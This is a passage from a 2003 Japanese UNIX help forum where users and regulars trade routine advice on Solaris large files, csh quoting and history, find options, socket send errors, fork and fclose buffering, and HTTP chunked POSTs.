> perlで書いたサーバプログラムをinetd経由で起動しているのですが、
> 接続してきた相手の情報を取得する方法がわからず困っています。
何も試さずに書きますが、標準入力であるところのファイル
デスクリプタ 0 がソケットにつながっているわけなので、
getpeername(STDIN) でいけるんじゃないでしょうか。

No. 3057 # 山田 2003/01/23 (木) 14:14:56
こんにちは、いつも参考にさせてもらっています。
UNIXで2ギガを超えるファイルの圧縮を行なう方法をご存知の方がいらっしゃれば教えて下さい。
圧縮率に関してはそれほど気にしないので、compressでもOKです。
よろしくお願い致します。

No. 3058 # 68user 2003/01/23 (木) 17:01:10
>>3057 山田
> UNIXで2ギガを超えるファイルの圧縮を行なう方法
OS の制限なら無理でしょう。tar の制限なら制限のない tar を使うと
いけるかもしれません。

結局のところ、「UNIX」と言われてもいろいろな UNIX like OS があるので
わかりません、ってことで。

No. 3059 # 山田 2003/01/23 (木) 17:04:19
ありがとうございます。
zipに制限があるのは確認したのですが、compressは確認していません。
tarで試してみます。
ちなみにOSは何をみれば分かりますか?

No. 3060 # 山岸 信一 [E-mail] 2003/01/23 (木) 18:56:42
始めまして。
私は実際のサーバなど全くいじったことがなく、すべては読み物での知識です。NTTの.COM.MASTER *はパスして現在**を目指している60才を過ぎた元通信分野に籍を置いたものです。交換機などと異なりcomputerの領域の知識が無いので少し苦労をしています。
それで、
きわめて基本的なことですが、permissionにおける「実行」というのは具体的にどういう事象なのでしょうか? R/Wについては解るのですがX(実行)というのはどう言うことなのか解りません。
教えてください。

No. 3061 # has 2003/01/24 (金) 01:49:37
>>3049 68user
tcpdumpを使おうとmanを見たらそれだけで圧倒されてしまい、
etherealを入れようとしたらrpmの依存関係が解決できずに
そのままはまってしまいました。なんてこった(*_*)
もうちっと腰を据えて勉強するとします…。

それはそうとこの板、回答者がすっかり68user一人になってしまったので、
たまには私も口を出せそうな話題にはお邪魔しようかと思います。
というわけで早速。

>>3059 山田
OSの種類については
% uname -s
を実行するとわかります。
SunOSとかHP-UXとかFreeBSDとかlinuxとか。

>>3060 山岸 信一
コンピュータに関する理解具合が把握できなかったので回答しづらいですが、
http://www.kent-web.com/pubc/axsken/
というページがありました。
こういう説明で参考になるでしょうか?

No. 3062 # has 2003/01/24 (金) 01:58:02
>>3061 has
しまった、結局「実行」についての解説が無かったですね。
「そのファイルをプログラムだと思って実行してもよい」という意味です、
と言いたいところなんですが、これで通じますか?

@68user
こっちは再編集機能つけて無いんすね…。

No. 3063 # えい 2003/01/24 (金) 02:52:23
>>3055>>3056
なるほど。標準入出力がソケットに繋がってるんですね。
上手く取得することが出来ました。
ありがとうございました。

$sockaddr = 'S n a4 x8';
$hersockaddr = getpeername(STDIN);
($family, $port, $heraddr) = unpack($sockaddr, $hersockaddr);
$addr = inet_ntoa($heraddr);

No. 3064 # 68user 2003/01/24 (金) 06:26:56
>>3059 山田
> zipに制限があるのは確認したのですが、compressは確認していません。
> tarで試してみます。
おっと、tar と書いたのは指がすべりました。compress の
間違いでした。

要は、OS の制限として 2GB 以上のファイルを扱えない仕様
なのか、compress や zip の制限なのかを明らかにしましょう、
ということです。

そういうのには興味がなくて、とにかく圧縮したいのなら
split して zip なり gzip なり compress なりすればよい
でしょう。

>>3061 has
> OSの種類については
> % uname -s
Linux カーネルが 2GB over ファイルに対応したのは最近の
ことだし、Solaris なら 7 以降 (2.6 なら -largefile
オプションで可能らしい)、uname -a でバージョンまで
聞き出すのがよいかと思います。


>>3060 山岸 信一
補足すると、コンピュータにとってはプログラム (実行可能なもの) も
データ (例えばテキストファイルとか画像ファイルとか) も、ただの
ファイルとしか見えません。

なので人間が「このファイルは実行可能である」と教えてやらないと
コンピュータはプログラムを実行できないわけです。

で、UNIX では実行権限 (x) が「このファイルは実行可能な
プログラムである」という印なわけです。

ここらへんは OS によって異なり、例えば Windows だと拡張子が
.exe や .com の場合、「このファイルは実行可能なプログラムである」
という印になるわけで。

> NTTの.COM.MASTER *はパスして現在**
これですか。
      http://biz.ocn.ne.jp/master/c027_02.html
いろんな資格があるもんですねぇ。


>>3061 has
> それはそうとこの板、回答者がすっかり68user一人になってしまったので、
> たまには私も口を出せそうな話題にはお邪魔しようかと思います。
当然ながら誰が回答してもよい掲示板ですので、よろしく>みなさま

>>3062 has
> こっちは再編集機能つけて無いんすね…。
これまで作った掲示板で再編集機能を付けたことないっすよ。
ちょっと突っ込まれると内容を変えたり、削除したりする人が
いるので、「掲示板に編集・削除機能は不要」というのが
僕の考えだったりします。

No. 3065 # Yo 2003/01/26 (日) 10:38:44
はじめまして。
UNIXリファレンスを利用させて頂いています。

一つご教授願いたいことが出来まして投稿させていただきます。
環境は以下の通りです。
・一台のUNIXサーバに対して複数台のWindowsサーバが接続している
・UNIX上のシェルからリモートシェルによってWindows上のbatコマンドを実行(Windowsサーバは全て同一ディレクトリ構成・かつ同一batコマンドを実行)
上記条件において、Windowsサーバをパラで動作させたいのです。
一台目のWindowsのbatコマンドの終了を待つことなく次のWindowsのbatコマンドを実行、といった風にしたいのです。
(現状、一台目の処理が終了したら二台目・・・となっています。)
UNIX側では全Windowsサーバのbatコマンドの終了(rshの終了)を待ってから次の処理に進みます。

そのような実装は可能なのでしょうか。
分かりにくい質問内容かも知れませんが、ご存知の方がおられましたら宜しくご教授お願い致します。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3066 # 山田 2003/01/27 (月) 20:06:19
すみません、すみません、2ギガ越えに関する回答は終了かと思い、週末は掲示板に目を通しませんでした。。。
遅れ馳せながら、>>3064様、>>3061様、丁寧なご回答ありがとうございます。
ご教授いただいたOSのバージョンですが早速試してみたところ、下記の様に表示されました。
「SunOS xxxxxx 5.8 Generic_108528-13 sun4u sparc SUNW,Sun-Fire-280R」
一般的に5.8を指してソラリス8と呼んでるようですが(聞きかじりです。間違っていたらすみません)、下記は68usr様がおっしゃる「Solaris なら 7 以降 」に該当するのでしょうか?
これより新しいのはソラリス9と聞いています。
ご教授ください。 山田

No. 3067 # 68user 2003/01/28 (火) 10:42:28
>>3064 68user
> UNIX上のシェルからリモートシェルによってWindows上のbat
> コマンドを実行(Windowsサーバは全て同一ディレクトリ構成・
> かつ同一batコマンドを実行)
> 上記条件において、Windowsサーバをパラで動作させたいのです。
UNIX 側で
      rsh host1 command
      rsh host2 command
      rsh host3 command
などとしているのですよね? ならば
      rsh host1 command &
      rsh host2 command &
      rsh host3 command &
が一番簡単だと思います。


>>3066 山田
> 一般的に5.8を指してソラリス8と呼んでるようですが
そうです。

>「Solaris なら 7 以降 」に該当するのでしょうか?
該当します。

Solaris の 2GB 超ファイルの扱いは、man largefile で見ることが
できる largefile(5) に載っています。
      http://www.freebsd.org/cgi/man.cgi?query=largefile&apropos=0&sektion=0&manpath=SunOS+5.8&format=html

Solaris8 の largefile(5) には large file aware なコマンドとして
compress はありますが、zip は載っていません。よって、compress
なら OK、zip は NG でしょう。

>>3064 68user
> Solaris なら 7 以降 (2.6 なら -largefile オプションで
> 可能らしい)
手もとの Solaris 2.6 で試してみましたが、2GB 超ファイルを
作成することができました。現在のマウント状況を表す /etc/mnttab は
      /dev/dsk/c0t0d0s5 /opt ufs suid,rw,largefiles,...
などとなっているので、Solaris 2.6 のデフォルトは 2GB 超
OK なのかな?

No. 3068 # 児嶋 2003/01/28 (火) 11:57:22
はじめまして。

コマンドヒストリについてご教授願いたいことが出来まして投稿させていただきます。

ユーザがUNIXサーバへログインしたあとに実行したコマンドはヒストリファイルに記録されていると思いますが、コマンドが実行された時刻はどのファイルに記憶されるのでしょうか?
記録するための設定などがありましたらぜひご教授ください。
よろしくお願いいたします。

OS solaris 5.8

No. 3069 # 68user 2003/01/28 (火) 12:05:21
>>3068 児嶋
csh・tcsh なら、~/.history に
        #+1043136351
        ls
などと時刻込みで記録されています。bash なら .bash_history。

No. 3070 # 68user 2003/01/28 (火) 13:14:16
>>3069 68user
> bash なら .bash_history。
一応確認してみましたが、bash はヒストリに時刻を記録しないみたいですね。

No. 3071 # 児嶋 2003/01/28 (火) 14:20:36
>>3070 68user
csh,bash環境で確認しました。

ls等のコマンドを実行してから一度ログオフし、再度ログインしました。
そこでホーム配下の.historyおよび.bash_historyを確認しましたが何も書かれておりませんでした。
.historyの権限は644になっております。rootアカウントで実行していますので権限は問題ないかと思います。

何か、出力要否のフラグの設定があるのでしょうか?

No. 3072 # 68user 2003/01/28 (火) 14:32:19
>>3071 児嶋
csh なら、シェル変数 history・savehist がセットされているか確認。
    % set | grep hist
    history 1000
    savehist 2000
セットされていなかったら
      % set history = 1000
      % set savehist = 2000
など。

bash なら
      % set|grep -i hist
      HISTFILE=/home/user/.bash_history
      HISTFILESIZE=500
      HISTSIZE=500
ここらへんですかねぇ (常用していないのでよくわかりませんが)。

No. 3073 # 児嶋 2003/01/28 (火) 14:28:57
>>3072 68user
早速実行してみました。
結果、コマンドラインは出力されましたが、時刻までは出力されませんでした。


何とか、時刻も出力させる方法はないものでしょうか?

No. 3074 # 68user 2003/01/28 (火) 14:48:47
>>3073 児嶋
またまた誤解してました。csh は時刻を記録しないみたいですね。

というわけで、「tcsh を使う」が解でしょうか。

No. 3075 # 美春 [E-mail] 2003/01/28 (火) 14:53:19
はじめまして。
考えても考えてもわからないことが
ありますのでご教授下さい。

あるファイルに
    aaaaああああaaaa
    いbbbbbbbbbbbい
のような行があって、
各行から2バイトの文字だけを
抜き出したいのですがどうすれば
できるのでしょうか?
イメージとしては上のファイルを
このように出力したいのです。
    ああああ
    いい

どうしてもわからないので
よろしくお願いします。

No. 3076 # 山田 2003/01/28 (火) 14:57:01
>>3067 68user
私もcompress→uncompressと試してみました。
解凍後のファイルサイズも一致しており、上手くいっているようです。
とても助かりました。ありがとうございます。

実はもうひとつ教えていただきたいことがありまして・・・
cshellで文字列操作は可能なのでしょうか?
下記を解決する方法があれば教えて下さい。
Q1.指定したディレクトリからファイル名を変数に取得。
Q2.上記Q1でAAA_YYYYMMDD.txtと言う名前を取得できたとして、
        YYYYMMDDのみを切り出して、shell内で用意した日付と大小を
        比較出来るのでしょうか?

ご存知の方、教えて下さい(T_T)

No. 3077 # 児嶋 2003/01/28 (火) 15:37:21
>>3074 68user
ありがとうございました。
環境が整ったときにtcshで確認しようと思います。

No. 3078 # koko 2003/01/28 (火) 17:02:53
親プロセスで子プロセスをforkするC言語プログラムがあります。
子プロセスは複数作成され、処理が終わると自動的に消滅します。
親プロセスで現在存在している子プロセスの数を把握したいのですが、簡単な方法はありますでしょうか。
子プロセスの数だけ分かれば良いです。
子プロセス数カウンタを設け、forkでインクリメントし、子プロセスの終了を検知してデクリメントする方法もあるかと思いますが、もっと簡単な方法があれば教えていただけますでしょうか。
よろしくお願いします。

No. 3079 # 68user 2003/01/29 (水) 02:28:50
>>3075 美春
考え方を変えて、日本語以外を除くとするなら
    % sed 's/[a-zA-Z0-9]//g' < file
など。本当に日本語だけを拾いたいなら
    http://www.din.or.jp/~ohzaki/perl.htm#JP_Match
を参考に perl でやるのがよいでしょう。

>>3076 山田
> cshellで文字列操作は可能なのでしょうか?
foreach file (AAA_*.txt)
    set date=`echo $file | sed 's/^AAA_\([0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]\).*/\1/'`
    echo '$file -> $date'
    if ( $date < '20020114' ) then
          echo $date
    endif
end

仕事や課題を丸投げされると答える側もつまらないです。質問するなら
もっとおもしろい質問をしてください。

お金を払っていただけるなら、(お仕事として) つまらん質問にも
答えますけど。

>>3078 koko
> 親プロセスで現在存在している子プロセスの数を把握
> したいのですが、簡単な方法はありますでしょうか。
簡単、というか適当な調べ方でよいなら、ps して、親プロセスが
自分であるプロセス一覧を取得、などがあると思いますが、
ps しているプロセスは除くとか余計な処理をしなきゃいけない
と思うので、結果的にはあまり簡単じゃないと思います。

    - 親がいろんな仕事をするのなら、fork するときに
        インクリメントして、SIGCHLD を受けるたびに
        デクリメント (>>2988 を参照)
    - 親は子の終了を待つだけなら、fork するときに
        インクリメントして、wait して、wait から戻って
        きたらデクリメント。

でいいんじゃないでしょうか。

No. 3080 # koko 2003/01/29 (水) 09:47:13
>>3079 68user
やはり、ご指摘の方法が妥当なところのようですね。
この方法で対応する事とします。
ありがとう御座いました。

No. 3081 # 山田 2003/01/29 (水) 09:59:35
>>3076 山田
ご回答ありがとうございます。
>仕事や課題を丸投げされると答える側もつまらないです。質問するなら
>もっとおもしろい質問をしてください。
了解しました。
先日、ほぼ一日調査してたのですが出来なかったもので。。。
申し訳ないです。。

No. 3082 # 美春 2003/01/29 (水) 11:49:51
>>3067 68user
うまくいきました。
本当にありがとうございました。
perlの方も挑戦してみます。
度々の質問で申し訳ありませんが、
grepの正規表現で"'"(シングルクォーテーション)
を出さないようにしたいのですが、
うまくいきません。
grep '[\']' <file>
だとダメみたいです。
どうすればよいのでしょうか?
初心者の質問ですみません。
よろしくお願いします。

No. 3083 # has 2003/01/30 (木) 00:01:24
>>3082 美春
grepは行単位で処理するので、シングルクォートを含む行を表示しない、
という処理は可能です。grepに-vをつけると、条件に合わない行のみを
出力するので、

% grep -v "'" filename

とすればfilenameファイル内のシングルクォートを含まない行のみを
出力してくれます。

もしシングルクォートを文字単位で削除したいのであれば、

% sed -e "s/'//g" < filename

とすればよいと思います。

No. 3084 # 美春 2003/01/31 (金) 14:06:07
No. 3083 has
感動してしまいました。
manで調べろと怒られるかと
思ったのにご丁寧に
ありがとうございました。

No. 3085 # 山田 2003/02/05 (水) 16:11:14
こんにちは、山田です。
shellにワイルドカードを含んだ引数を文字列として渡したいのですが上手くいきません。
例えば、
aaa.sh zz*.txt

aaa.sh zz\*.txt
と渡すとローカルにある対象となるtxtファイルを全て引数としてもってきてしまいます。
aaa.sh zz'\''*'.txt
などとしてもダメなようです。
出来ないのでしょうか?
申しわけありませんが、教えて下さい。

No. 3086 # ふくし 2003/02/05 (水) 16:19:59
>>3085 山田
さん、

シェルはなんでしょうか?
zsh だと

    > echo *.txt
    aaa.txt bbb.txt ccc.txt

    > echo '*.txt'
    *.txt

のようになりました。

No. 3087 # 山田 2003/02/05 (水) 18:33:15
>>3086 ふくし
様、ご回答ありがとうございます。
cshです。
やりたいことは、
aaa.sh ZZ*.txt
と指定した時にshell内で、
set filename = arg[1]とし、
filenameに"ZZ*.txt"という文字列をセットしたいのです。

No. 3088 # ふくし 2003/02/05 (水) 20:05:51
>>3087 山田
さん

下で書いたつもりだったんですが (^^;;;
引数「ZZ*.txt」全体をシングルクォート '' で囲んだらどうなります?

No. 3089 # 山田 2003/02/05 (水) 21:20:34
>>3086 ふくし

>引数「ZZ*.txt」全体をシングルクォート '' で囲んだらどうなります?
やはりカレントの該当するファイルが引数に入ってしまいます。
arg[1]の内容が"ZZa.txt ZZb.txt ZZc.txt"というような感じです。
んー、こまっております(^^;)

No. 3090 # 68user 2003/02/05 (水) 21:48:17
>>3089 山田
    % cat hoge
    set filename='*.c'
    echo $filename

    % csh -fx hoge
    set filename=*.c
    echo *.c
    a.c b.c c.c d.c

というわけで、csh では ただの文字列として set しても、
glob 展開されます。よって、参照するたびに
    echo "$filename"
とダブルクォートで囲むか (面倒)、あるいは
    set noglob
で変数を展開しないようにする、と。

もっとよいのは perl や ruby などに乗り換えることです。

No. 3091 # ふくし 2003/02/06 (木) 02:29:54
>>3089 山田
さん、

知らぬこととはいえ失礼しました。
そんな致命的な非互換があろうとは、、。

シュバング行で
  #! /bin/sh
と書いてしまって、Bourne Shell で書き直すってのは
どうでしょうね。
コマンドを手入力するのは csh 系が、
シェルスクリプトを組むのは Bsh 系がいいって聞いた気がします。
(気のせいか? ;;;
もっぱら私はちょっとでも論理のあることは
Perl にするのでどっちも知りませんが、、。

No. 3092 # op 2003/02/07 (金) 00:33:46
始めましてopといいます。
・・・いきなり質問で申し訳ないのですが、

掲示板を作っていて
コメントを書き込んだ後に更新をすると、
前のコメントが追加されてしまいます
これを回避する為にはいったいどんなコードに
書けがよいのでしょうか?

宜しければアドバイスの程お願いします。

No. 3093 # DQN..cc [URL] 2003/02/07 (金) 00:48:48
>>3092 op
書き込み後に↓こんなHTMLを表示すればいいのでは。

<html><head><title>書きこみました。</title><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><meta content=5 http-equiv=refresh></head><body>書きこみが終わりました。<br><br>画面を切り替えるまでしばらくお待ち下さい。<br><br></body></html>

別のページに移動させたければ、
<meta content=5 http-equiv=refresh>
ではなく、
<meta content=5;URL=../homepage/index.html http-equiv=refresh>
としてみる。

・・・といった方法ではどうでしょう。

No. 3094 # しん 2003/02/07 (金) 13:59:17
以前にBASIC認証の質問のご回答を頂きありがとうございました。
おかげさまで認証を行うサイトへのアクセスが出来るようになりました。
現在はPOSTが行えるクライアントを作成中です。

POST及びchunkedに関する質問ですが、
あるサイトにアクセスした際に

Content-type: text/x-hdml; Charset=Shift_JIS
Transfer-Encoding: chunked
省略
postmethod="post" postdata="xxxxxxx"
省略

とのレスポンスがあり

print SOCKET "POST /$path HTTP/1.1\r\n";
print SOCKET "Host: $host\r\n";
print SOCKET "User-Agent等リクエストヘッダ"

$message = "xxxxxxx";
$len = length($message);
print SOCKET "Content-length: $len"."\r\n\r\n";
print SOCKET "$message";

にてPOSTを行っているのですが、POSTされません。
原因としてはどういった事が考えられますでしょうか。
chunkedでエンコードされ送られたデータはPOSTする際もchunkedで
エンコードして送り返さなければいけないのでしょうか。
もしエンコードしたデータをPOSTしなければいけない場合はchunkedの
エンコード方法をお教え下さい。
宜しくお願い致します。

No. 3095 # op 2003/02/07 (金) 20:13:36
>>3093 DQN..cc様
早速のレス有難う御座います♪

なるほど・・・。
確かにこういった処理をする掲示板なんどか見かけた事がありました
本来の意味はこういう事?だったのですね(多分

それと、また質問で恐縮なのですが
リフレッシュ以外にも他の方法なんかありますかね?(^^;

No. 3096 # has 2003/02/08 (土) 01:37:29
>>3095 op
ここの掲示板では書き込みのたびに書き込み内容のMD5を作成し、
キャッシュしておいた最新数件分のMD5と同一の場合には記録しない、
という方式を採用しています。

詳しくはここの掲示板のソースを参照してみてください。

No. 3097 # H-Hash [URL] 2003/02/09 (日) 01:14:35
>>3094 しん
>chunkedでエンコードされ送られたデータはPOSTする際もchunkedで
>エンコードして送り返さなければいけないのでしょうか。
そんなことは無いです。

>もしエンコードしたデータをPOSTしなければいけない場合はchunkedの
>エンコード方法をお教え下さい。
要するにデータを細切れ(例えば1024byte毎)にして、
サイズ(16進)
データ
サイズ(16進)
データ

0
とすればいいだけです。(see http://www.studyinghttp.net/rfc_ja/2616/sec3.html#sec3.6.1)

で、解決方法ですが、とりあえずHTTP/1.0で送ってみて下さい。
それでも失敗した場合は、とりあえずチャンク周りが原因ではありません。

No. 3098 # op 2003/02/09 (日) 01:44:52
>>3096 has様
MD5ですかぁ〜レベルが一気に上がったような気がしますが、
これからさっそく勉強していきたいと思います(苦笑

ほんとにhasさん、DQN..ccさん有難う御座いました。

No. 3099 # ふくし 2003/02/13 (木) 19:18:56
Linux User という本に5つのディストリビューションが一気に
付録についてるので慌てて買ったんですけど、
よく考えるとコレ(よく考えなくても)CD じゃなくて
DVD なんですよね、、。
会社で遊んでるマシンが1個あって、ただし会社のマシン管理のヒトが
バックアップしてくれないから、バックアップデバイス兼ねて
この機会に DVD-RAM を入れようかなあと思ったんですが、
Linux で読める DVD-RAM ドライブってあるんでしょうかね。
じっさいにはネットワーク経由で Debian(woody)を入れたので、
もう雑誌の付録は必要なくなったんですが、、

No. 3100 # 68user 2003/02/15 (土) 02:44:18
>>3099 ふくし
> Linux で読める DVD-RAM ドライブってあるんでしょうかね。
FreeBSD でも DVD-RAM を読み書きできるくらいですから、
できなくはないでしょうけど、具体的な機種名などは
わかりません。

検索すると DVD-RAM 対応カーネルパッチが云々などと
いうのが引っかかるのですが、Linux 事情に疎いので
それが最新の情報なのか判断できないです。

# てゆーか、DVD-RAM どころか CD-R さえ使ったことが
# ないので。

No. 3101 # bebe 2003/02/17 (月) 11:23:45
findコマンドについて教えてください。
find . -user root とするとカレントディレクトリ以下の
所有者がrootになっているファイルが引っかかるかと思い
ます。
それではなくて、所有者がrootになっていないファイルを
引っ掛けたいと思うのですが、その場合findコマンドはどの
ように使えばいいでしょうか?
宜しくお願いします。

No. 3102 # 68user 2003/02/17 (月) 19:54:30
>>3101 bebe
> 所有者がrootになっていないファイル
    % find . ! -user root
    % find . -false -user root
    % find . -not -user root
などなど。

FreeBSD 4.7-RELEASE のマニュアルには ! と -false と -not が
書いてあるのに
        % find . -not -name \*.c
        find: -not: unknown option
となってしまう。なぜだろう。ソースを見ると -not は効きそうなんだけれども。

http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/find/option.c
http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=find&dir=jpman-4.7.0%2Fman

No. 3103 # wataru [E-mail] 2003/02/18 (火) 14:45:54
send()について教えてください。

send()にてデータを送信しようとするとperrorにて「Illegal Seek」
と返ってきます。もちろんデータも送信できていません。

この現象の原因と対処法を教えていただけないでしょうか?
socketとconnectはできています。

No. 3104 # 68user 2003/02/18 (火) 15:02:41
>>3103 wataru
> Illegal Seek
ってことは errno が ESPIPE なのでしょうけれど、手もとにある FreeBSD と
Solaris2.6/8 を見ても、send(2) が ESPIPE を返すとは書いてありませんので、
わかりません。

てゆーか、OS 名も、OS のバージョンも、エラーの起こるコード例も提示せず
質問している、あなたという人間がわかりません。

No. 3105 # wataru [E-mail] 2003/02/18 (火) 16:09:42
ご無礼大変申し訳ありませんでした。現在私はHard Hut Linux2.0
でプログラムを組んでいます。

原因のソースコードは以下の様です。

    if ((*s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { // TCPでソケットを開く
        perror("socket");
        s_vMsgSnd(TSK_ER , 71 , 40);
        return -1;
    }
    syslog(LOG_DEBUG,"s = %d",*s);
    syslog(LOG_DEBUG,"port = %d",port);
    
    // 接続に必要な情報を設定する
    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = dst_ip; //<GT_0010>
    server.sin_port = htons(port);

    s_vSigTimer(TIMER_START);
    alarm(TIMEOUT_SEC);
        if (connect(*s, (struct sockaddr *) &server, sizeof server) < 0) { // サーバとのコネクションを確立する
            perror("connect");
            s_vSigTimer(TIMER_STOP); return -1; //<GT_0003> add
        }
        s_vSigTimer(TIMER_STOP);
        signal(SIGPIPE,ReCNCT);
        if(usCnctNG == FLAG_ON)
            return -1;

上記の方法でconnectまで持っていきます。
その後

    while(sendbytes < MaxLENGTH){
            nSended=send(*s,psz,strlen(psz),0);
        if(nSended == -1){
            perror("SendError:"); s_vMsgSnd(TSK_ER , 71 , 57);
            s_vSigTimer(TIMER_STOP);return -1;
        }else if(counttim > 0){
            syslog(LOG_DEBUG,"+*+*+*+*time over +*+*+*+*");
            s_vSigTimer(TIMER_STOP);return -1;
        }
        psz+=nSended;
        sendbytes+=nSended;
    }

でMaxLENGTHに達するまでデータを送信します。

No. 3106 # bebe 2003/02/18 (火) 17:32:36
>>3102 68user
解凍有り難うございました。
        (1)% find . ! -user root ⇒うまくいきました。
        (2)% find . -false -user root
        (3)% find . -not -user root

(2)(3)は、ダメでした。オプションエラーになってしまいます。
でも、(1)だけでも使えればとりあえずはOKなので、重宝しています。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3107 # 68user 2003/02/18 (火) 20:56:27
>>3105 wataru
> Hard Hut Linux2.0
Embedded ですか (Hut じゃなくて Hat ですね)。この OS の存在を
初めて知りました。

    http://www.linux.or.jp/JM/html/LDP_man-pages/man2/send.2.html
の内容が正しければ、Linux の send(2) は ESPIPE を返しません。

ただし開発元がカーネルに手を入れている可能性があるので
Hard Hat Linux の send(2) は ESPIPE を返すのかもしれません。
マニュアルに send(2) がどういうときに ESPIPE を返すか書いて
ありませんか?

# まぁライセンスは GPL でしょうから、最悪ソースを読めばわかる
# わけで。

あと、
>>3105 wataru
のソースを眺めましたが、間違いらしきものは見付けられませんでした。

ただ、TCP では普通 send(2) は使いません。別に使っても構わない
はずですが、埋もれているバグを踏まないという意味では、素直に
write(2) を使った方がよいと思います。ただ、それで直るかどうかは
わかりません。

あとは、マルチスレッド環境なので errno の値が別のスレッドに上書き
されたとか…(多分違うと思いますけど)。

No. 3108 # 68user 2003/02/18 (火) 23:02:18
>>3102 68user
> ソースを見ると -not は効きそうなんだけれども。
そっか。

options はソートされていることが前提なのに (bsearch(3) に渡すから)、
        { "-nouser",c_nouser,f_nouser,0 },
        { "-not",c_simple,f_not,0 },
の順で並んでいるからか。

# http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/find/option.c?rev=HEAD

No. 3109 # wataru [E-mail] 2003/02/19 (水) 14:13:27
ありがとうございます。
大変もうしわけありませんが、もう一つ教えていただけないでしょうか?

SSLでの通信も行っているのですが、SSL_write()を使用する際に
タイムアウトの時間を設定したいのですが、方法がわかりません。

selectを使えばできるとも聞いたのですが、具体的にどうすればよいでしょうか

ソースは以下の様です。

    MaxLENGTH = strlen(psz);
    while(sendbytes < MaxLENGTH){
        syslog(LOG_DEBUG,"Send");
        nSended = SSL_write(SOKET, psz, strlen(psz));

        if(nSended == -1){
            perror("SendError:"); s_vMsgSnd(TSK_ER , 71 , 57);
            return -1;
        psz+=nSended;
        sendbytes+=nSended;
    }
    return 0;
}

お手数ですがよろしくお願いします。

No. 3110 # wataru [E-mail] 2003/02/19 (水) 14:15:38
ESPIPEの件は、また別のところで起こっていたようです。
仰る通り、sendによるものではありませんでした。
お手数をおかけしました。

No. 3111 # ふくし 2003/02/19 (水) 23:22:06
そういや(質問でも答でもなく雑談ですが、いいんですかね)
せっかく自分のサーバー立てたんだから、XML::DOM 入れてみよう!(^^)

No. 3112 # 68user 2003/02/21 (金) 22:22:21
>>3110 wataru
> ESPIPEの件は、また別のところで起こっていたようです。
しょーもないミスですが、ありがちですね。

>>3109 wataru
> SSLでの通信も行っているのですが、SSL_write()を使用する際に
> タイムアウトの時間を設定したいのですが、方法がわかりません。
使ったことはありませんが、
    http://www.openssl.org/docs/ssl/SSL_CTX_set_timeout.html
とか、
    http://www.openssl.org/docs/ssl/SSL_get_fd.html
でディスクリプタを取得して select とか、あるいは単純に
alarm とか、でしょうか。

No. 3113 # Japper 2003/02/24 (月) 00:01:36
こんばんわ
CGIのフォームメールで添付ファイルを送っているのですが
途中で通信を中止すると
サーバー上にファイルが残ってしまうということに悩まされています

そのフォームメールはQMAILを用いてメールを配信しています
POPサーバーはVPOPMAILです

対処法はなにかありますでしょうか?

No. 3114 # 68user 2003/02/24 (月) 17:27:34
>>3113 Japper
シグナルをキャッチするという方法もありますが、単にファイルを
消したいだけなら
    - 送信し終わったらファイル名をリネーム or ファイルの置き場所を
        変える (mv)
    - フォームメールが起動したとき、リネーム前 or 実行途中の置き場所
        にあるファイルで、タイムスタンプが古いものを消す。
が単純でよいと思います。

No. 3115 # koko 2003/02/24 (月) 19:36:35
親プロセスでFILE* fpに対してファイルをオープンします。
その後、forkで子プロセスを生成し、子プロセスですぐにfclose(fp)を行います。(子プロセスではファイルを使用しない為。)
子プロセスでファイルをfcloseした後、親プロセスでは引き続きfpに対して読み込みや書き込みを行えるでしょうか。
ファイルディスクリプタは、子プロセスで閉じても親プロセスに影響無いようですが、ファイルポインタは共有されている(?)様なので影響がありそうな気がするのですが、いかがでしょうか。
■知りたい事
1.最終的に親と子でそれぞれfclose(fp)を行う必要があるか。
    (開いたものは必要であれば明示的に閉じるようにしたい。)
2.子プロセスでfcloseしても、親プロセスのfpに影響がないか。

よろしくお願い致します。

No. 3116 # 68user 2003/02/24 (月) 19:55:02
>>3115 koko
> 1.最終的に親と子でそれぞれfclose(fp)を行う必要があるか。
> 2.子プロセスでfcloseしても、親プロセスのfpに影響がないか。

fork したときの出力用バッファにデータがたまっていれば、子の
fclose でバッファがフラッシュされます。そこで親も fclose すれば
同じ内容のバッファがファイルに出力され、同じ内容のデータが
2回書かれることになります。

なお fclose(3) しなかったとしても、exit(3) すれば結局は fclose されます。
# _exit(2) ならされません。

よって、
    1. fflush(fp)
    2. fork
    3. 子は fclose (*A)、親は引き続き fp を使う
がよろしいかと。

*A は、してもしなくても変わりませんが、子で使わないという
意志を明確に示すために fclose(3) した方がよいと僕は思います。

No. 3117 # koko 2003/02/24 (月) 20:56:21
>>3115 koko
早速回答頂き、ありがとうございます。
動作を確認しましたところ、fflushしないと二重でデータが書き込まれていました。
fflushして回避する事にします。
もうひとつ、教えて頂けますでしょうか。
FILE*ではなく、ファイルディスクリプタに対してopen、write、closeで同じ事をした場合、ファイルディスクリプタはバッファリングされないのでfflushのような事をしなくても二重書き込みにはならないでしょうか。
実は、FILE*とファイルディスクリプタの両方を使用して同じ事をしている為、ちょっと心配になりました。
実動作を見た限りでは、ファイルディスクリプタは二重で書き込まれていない様なので大丈夫だとは思いますが...。
よろしくお願い致します。

No. 3118 # koko 2003/02/24 (月) 20:58:35
>>3316 tomotomo
No.3317は>>3316の間違いです。
すいません。

No. 3119 # 68user 2003/02/24 (月) 21:34:23
>>3117 koko
> ファイルディスクリプタはバッファリングされないのでfflushのような事を
> しなくても二重書き込みにはならないでしょうか。
されません。低レベル入出力システムコールはバッファリングが
ないので大丈夫です。

No. 3120 # koko 2003/02/24 (月) 21:36:31
>>3119 68user
回答頂き、ありがとうございます。
安心しました。

No. 3121 # Japper 2003/02/25 (火) 20:32:23
>>3114 68user
ご回答ありがとうございました
大変助かりました

さて、findコマンドでファイルを検索をかけていますが
大きいファイル順に並べ替えるなど
そのようなことはできないでしょうか?

No. 3122 # koko 2003/02/25 (火) 22:59:54
C言語のプログラムでsystem関数でプログラムを呼び出します。
